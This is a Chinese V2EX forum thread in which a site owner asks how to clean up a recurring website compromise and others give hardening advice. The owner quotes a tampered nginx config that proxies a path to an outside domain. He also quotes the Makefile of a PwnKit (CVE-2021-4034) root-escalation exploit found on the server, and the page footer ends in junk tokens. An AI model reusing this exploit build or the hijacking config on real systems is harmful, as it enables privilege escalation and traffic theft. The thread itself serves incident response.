网站挂马 如何根治? - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
ccnoobs
V2EX    信息安全

网站挂马 如何根治?

  •  
  •   ccnoobs 2024-05-29 09:51:45 +08:00 4174 次点击
    这是一个创建于 499 天前的主题,其中的信息可能已经有所发展或是发生改变。

    疑问

    自己的网站又挂马了,看了登录记录没有问题 ssh 端口也是只有我的 ip 才可以访问,还有什么工具可以直接修改 ng 的配置文件吗,没有排查的思绪了

    配置详情

    server { listen 80 default; server_name _; location ^~ /downloadsss { proxy_pass http://qwertyu.shijiediyi888.top; proxy_set_header Host qwertyu.shijiediyi888.top; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header REMOTE-HOST $host; proxy_http_version 1.1; # proxy_hide_header Upgrade; add_header X-Cache $upstream_cache_status; #Set Nginx Cache set $static_fileMJrCAYTq 0; if ( $uri ~* "\.(gif|png|jpg|css|js|woff|woff2)$" ) { set $static_fileMJrCAYTq 1; expires 1m; } if ( $static_fileMJrCAYTq = 0 ) { add_header Cache-Control no-cache; } } }
    第 1 条附言    2024-05-29 13:34:46 +08:00
    感谢大家
    上面的配置内容是被串改后的配置 将指定后缀转到他的网站上去了
    排查过系统日志和 WEBSHELL 应该不是 ssh 过来改的 我感觉像是定时任务跑的脚本改的
    第 2 条附言    2024-05-29 15:14:21 +08:00
    找到挂马文件
    CFLAGS=-Wall
    TRUE=$(shell which true)

    .PHONY: all
    all: pwnkit.so cve-2021-4034 gconv-modules gconvpath

    .PHONY: clean
    clean:
    rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./
    make -C dry-run clean

    gconv-modules:
    echo "module UTF-8// PWNKIT// pwnkit 1" > $@

    .PHONY: gconvpath
    gconvpath:
    mkdir -p GCONV_PATH=.
    cp -f $(TRUE) GCONV_PATH=./pwnkit.so:.

    pwnkit.so: pwnkit.c
    $(CC) $(CFLAGS) --shared -fPIC -o $@ $<

    .PHONY: dry-run
    dry-run:
    make -C dry-run

    如果大家感兴趣 留言邮箱 发送一下挂马附件
    26 条回复    2024-05-30 09:21:26 +08:00
    dode
        1
    dode  
       2024-05-29 09:56:17 +08:00
    你这服务器只挂个 nginx 代理就被黑了?
    服务器关闭 ssh 密码登录,只使用密钥登录
    既然服务器现在不安全了,就格式化重新部署一下,关闭密码登录
    ccnoobs
        2
    ccnoobs  
    OP
       2024-05-29 10:01:04 +08:00
    @dode 有网站自用的,直接改我 ng 配置 跳转别的域名了 ssh 只有一个 ip 地址能访问
    carlinglm
        3
    carlinglm  
       2024-05-29 10:06:06 +08:00
    去看下系统日志吧,看下有什么可疑的 ip 来访问过,直接改你 nginx 的配置文件不太现实的,除非有啥别的漏洞
    dpx
        4
    dpx  
       2024-05-29 10:14:16 +08:00
    需要经常修改文件吗?以前我用 WIN 的候是把相关的配置和网页文件改成只读权限,可以参考下,如果还可以挂,说明对方已经有管理员权限了,往系统方面排查,直到找到对应漏洞。不想麻烦就系统重新部署,但很大机会还有相同漏洞。
    akin520
        5
    akin520  
       2024-05-29 10:33:20 +08:00
    先看看你代码是不是有问题,挂马一般都会有 WEBSHELL
    BeforeTooLate
        6
    BeforeTooLate  
       2024-05-29 10:37:41 +08:00
    就问是不是只有密钥登录而不是密码登录?
    ccnoobs
        7
    ccnoobs  
    OP
       2024-05-29 11:53:17 +08:00
    @BeforeTooLate 直接密码登录
    dode
        8
    dode  
       2024-05-29 12:59:56 +08:00
    使用 docker 部署你的网站,定期备份数据,限制特殊目录的写权限
    davehandong
        9
    davehandong  
       2024-05-29 13:01:51 +08:00
    先想一下有没有可能操作系统或者服务本身是有问题的。
    然后 nmap 之类的工具看一下哪些端口是可访问的,把没必要的都关了
    ssh 直接登录操作的可能性我觉得不大,但是限制一下不能用密码登录也不费事,还有就是默认端口号可以改最好也改一下。
    你这个 nginxs 配置文件只有一个反向代理,面儿上看我觉得是没啥问题的吧
    可以看一下你的 nginx 版本号,用了哪个 module ,然后看一下这个版本有没有一些 CVE ,最好升到最新的。
    也可以再看一下 accesslog.
    其它的就得看具体还有啥服务了
    davehandong
        10
    davehandong  
       2024-05-29 13:03:19 +08:00
    再补充一下,nginx 服务启动不要用 root 帐户
    lambdaq
        11
    lambdaq  
       2024-05-29 13:05:04 +08:00
    这题我会,nginx 启动之后把 nginx.conf 和 nginx 二进制都删了。
    patrickyoung
        12
    patrickyoung  
       2024-05-29 13:16:21 +08:00 via Android
    需要详细审计代码和系统配置
    7lQM1uTy635LOmbu
        13
    7lQM1uTy635LOmbu  
       2024-05-29 13:38:09 +08:00
    @ccnoobs 你是不是第一次被挂马后没有重装系统?第一次进去可能由于 ssh 弱密码,但如果没有重装,很可能对方第一次已经留了后门。
    liyunyang
        14
    liyunyang  
       2024-05-29 13:39:20 +08:00
    是 php 吗?
    MrUser
        15
    MrUser  
       2024-05-29 13:43:01 +08:00
    最小权限原则,不要相信某些教程的话:一上来就 777 ,看着就危险。
    要这样:
    1. 可执行的文件或目录不可写;
    2. 可写的文件或目录不可被执行;

    另,检查 SELinux 规则不是不是遗漏了什么
    busier
        16
    busier  
       2024-05-29 13:44:03 +08:00
    @davehandong “再补充一下,nginx 服务启动不要用 root 帐户”
    nginx 服务启动运行的是 master 进程,用 root 没有问题!
    master 运行的 worker 子进程才是不应该用 root 的进程。
    yarawen
        17
    yarawen  
       2024-05-29 13:49:55 +08:00
    这个贴 https://v2ex.com/t/979950 你看下有木有用
    ccnoobs
        18
    ccnoobs  
    OP
       2024-05-29 14:28:23 +08:00
    @nevadax 第一次挂马后没重装 应该是留后门了
    ccnoobs
        19
    ccnoobs  
    OP
       2024-05-29 14:33:16 +08:00
    @yarawen 感谢 应该不是这个问题 我这个现象就是修改 ng 配置文件 服务是 java 的
    ccnoobs
        20
    ccnoobs  
    OP
       2024-05-29 14:33:37 +08:00
    @liyunyang 是 java 的
    ccnoobs
        21
    ccnoobs  
    OP
       2024-05-29 14:36:42 +08:00
    排查 nginx 命令日志时发现

    当时挂马修改 ng 时相关执行日志

    May 28 22:53:35 instance-0b1899zb root[29772]: [euid=root]::[/tmp]2024-05-28 22:53:35 root ps aux | grep nginx
    May 28 23:02:09 instance-0b1899zb root[30483]: [euid=root]::[/tmp]2024-05-28 23:02:09 root ps aux | grep nginx
    May 28 23:02:14 instance-0b1899zb root[30500]: [euid=root]::[/tmp]2024-05-28 23:02:14 root /usr/local/nginx/sbin/nginx -s reload
    May 28 23:03:28 instance-0b1899zb root[30604]: [euid=root]::[/tmp]2024-05-28 23:03:27 root /usr/local/nginx/sbin/nginx -s reload


    我这边正常的操作日志是
    May 28 23:45:16 instance-0b1899zb root[1560]: [euid=root]:root pts/1 2024-05-28 23:45 (*.151.207.139):[/usr/local/nginx/conf]2024-05-28 23:45:16 root cd /usr/local/nginx/conf/

    大家知道为啥会缺少那么多信息吗
    wheat0r
        22
    wheat0r  
       2024-05-29 16:16:17 +08:00
    @ccnoobs #21 你猜 root 能不能编辑日志文件
    WoneFrank
        23
    WoneFrank  
       2024-05-29 16:18:13 +08:00
    cve-2021-4034 这个是 linux 下 pkexec 逻辑提权的,直接能提到 root 权限。
    你这个应该是自己跑的业务有漏洞被打了,也就是被人写了 webshell 或者直接利用 java 命令执行了。
    root 被拿了多半会有各种计划任务、rootkit 之类的后门操作。
    如果源码和数据有备份建议先把漏洞修了,然后重开一台新服务器再把业务部上去。
    ccnoobs
        24
    ccnoobs  
    OP
       2024-05-29 17:40:31 +08:00
    @WoneFrank 说的对 准备换个机器了
    gray0
        25
    gray0  
       2024-05-30 09:20:18 +08:00
    新服务器的安全小思路:

    1.不应直接以 root 身份登录,新建用户,避免任何容易猜到的内容,例如 admin
    2.禁用 root 密码/ssh 登录
    3.更改默认的 umask 大多数 Linux 发行版默认 umask 为 022 ,这为每个用户提供了读取权限 修改为 027
    sudo bash -c 'echo -e "\numask 077" >> /etc/profile'
    4. SSH 安全
    SSH 默认从从 ~/.ssh/authorized_keys 读取授权密钥,改为从新建的用户那里读取
    # 修改/etc/ssh/sshd_config
    AuthorizedKeysFile /etc/ssh/authorized_keys/{user}
    gray0
        26
    gray0  
       2024-05-30 09:21:26 +08:00
    @gray0 umask 077
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     3534 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 30ms UTC 05:08 PVG 13:08 LAX 22:08 JFK 01:08
    Do have faith in what you're doing.
    ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86